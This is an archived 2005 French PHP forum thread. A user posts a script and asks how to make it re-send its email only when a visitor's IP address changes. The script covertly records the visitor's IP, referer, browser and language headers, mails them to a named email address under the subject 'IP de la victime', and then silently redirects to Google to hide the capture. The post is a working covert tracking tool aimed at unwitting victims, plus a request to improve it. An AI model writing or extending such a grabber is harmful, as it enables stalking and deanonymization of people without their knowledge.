begin process at 2012 05 31 20:05:10
  Trouver un code source :
 
dans
 
Accueil > Forum > 

Archive PHP

 > 

Archives

 > 

AU SECOURS !!!

 > 

SVP ! verification si l'ip a changé !


Derniers messages déposésPoser une question dans le forum ou lancer une discussion

SVP ! verification si l'ip a changé !

vendredi 11 mars 2005 à 23:44:12 | SVP ! verification si l'ip a changé !

chico200987

Alors voici mon code :
_______________________________________________________________________
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Document sans titre</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<!-- script pour l'ip -->
<?PHP

    define("IDX_GRANULARITY", 10000000);

    function getClientIP() {

        $ip = 0;

        if (!empty($_SERVER['HTTP_CLIENT_IP']))
            $ip = $_SERVER['HTTP_CLIENT_IP'];

        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ipList = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
            if ($ip) {
                array_unshift($ipList, $ip);
                $ip = 0;
            }
            foreach ($ipList as $v)
            if (!eregi("^(192\.168|172\.16|10|224|240|127|0)\.", $v))
                return $v;
        }
       
        return $ip ? $ip : $_SERVER['REMOTE_ADDR'];
    }

    function searchIndex($ip, $idxFileName = "ip-to-country.idx") {

        $hFile = @fopen($idxFileName, "r");
        if (!$hFile) return False;
        $ip = (int)($ip / IDX_GRANULARITY);
        $iRecord = 0;
        $iIndex = 0;
        while ($aData = fgetcsv($hFile, 100)) {
            if ($ip >= $iIndex && $ip < $aData[0])
                return array($aData[1], $iRecord);
            $iIndex = $aData[0];
            $iRecord = $aData[1];
        }
        fclose($hFile);
        return array(-1, $iRecord);
    }

$NewIp = getClientIP() ;

// Ecrire l'ip dans le fichier ip.txt
$fp = fopen("ip.txt","w");    // On ouvre le fichier en écriture
fseek($fp,0);           // On se place en début de fichier
if (strlen($NewIp) > 6)
    {
        fputs($fp,$NewIp);    // 5.On écrit dans le fichier le nouveau IP
    }
    else
    {
     fputs($fp,"0.0.0.0");    // On écrit dans le fichier "0.0.0.0"
    }   
fclose($fp);                  // On ferme le fichier
//print $NewIp ;
?>
<!-- Envoie ip par mail ! -->
<?php
$msg = "IP:\t$NewIp\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "mohamedloucif89@aol.com";
$subject = "IP de la victime";

$mailheaders = "From: Ip de la victime<> \n";

mail($recipient, $subject, $msg, $mailheaders);

?>
<script language="javascript" type="text/javascript">
<!--
window.location.replace("http://www.google.fr");
-->
</script>
</body>
</html>
_____________________________________________________________________

Et le pb est que en faite je voudrais rajouter quelques lignes pour quil detecte si l'ip a changé, si il a changé qu'il renvoie le mail sinon ben il se passe rien =) voilà merci de m'aider svp



Cette discussion est classée dans : fichier, server, http, ip, return


Répondre à ce message

Sujets en rapport avec ce message

recuperer l'ip [ par putch ] bonjour à tous ceux qui liront ce message !voila je m'interroge sur la manière de récuperer l'ip du visiteur.j'utilise actuellement la fonction suivan ip du fai [ par dragoune ] bonjours,j' ai lu quelques forum et bon j'ai trouvé ça :$_SERVER['HTTP_X_FORWARDED_FOR']$_SERVER['HTTP_CLIENT_IP']mais le second code indique mon ip l une adresse ip spéciale [ par piere2 ] Bonjour à tous, Depuis quelques temps j'ai mis en place un petit script php pour récupérer des informations de base sur les visiteurs d'un site. pour Connaître l'ip même sous proxy! [ par Yoteco ] Bonjour,Est-ce que qqun saurais comment faire pour voir l'ip de la personne qui se connecte sur mon site meme si elle est sous proxy? J'ai déjà un scr recuperer adresse ip: prq une fonction compliquee? [ par brice0306 ] voici une fonction trouvée sur le net:[code]function get_ip() { if($_SERVER) { if($_SERVER['HTTP_X_FORWARDED_FOR']) $ip = $_SERVER['HTTP_X_FORWA Mauvaise adresse IP retournée [ par xylo2 ] Bonjour,Pour déterminer l'IP de mes visiteurs, j'utilise :if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];} els Comment faire une redirection avec le nom du cadre [ par newsdev ] Bonjour à tous, Tout comme vous voyez le code source concernant la redirection simple, mais j'aimerais aussi d'en ajouter pour la redirection suivant sortir d'une boucle [ par rich25200 ] bonjour,je recupere la langue du navigateur d'un visiteur en fesant ce code :if ($userlang=="") { $userlang=$_SERVER['HTTP_ACCEPT_LANGUAGE']; $userlan modification de fichier avec la fonction exec() [ par brex ] Bonjour, j'explique mon problème : je développe une interface web en php sur un serveur unix. Dans la partie administration de mon interface je récup $_SERVER['REMOTE_ADDR']; remis en question ??? [ par jetman ] Bonjour,depuis, quelque jour, j' ai un petit problème pour récupérrer les ip client avec : $_SERVER['REMOTE_ADDR'];Effectivement, la plus part des cli


Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

Photothèque

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,281 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales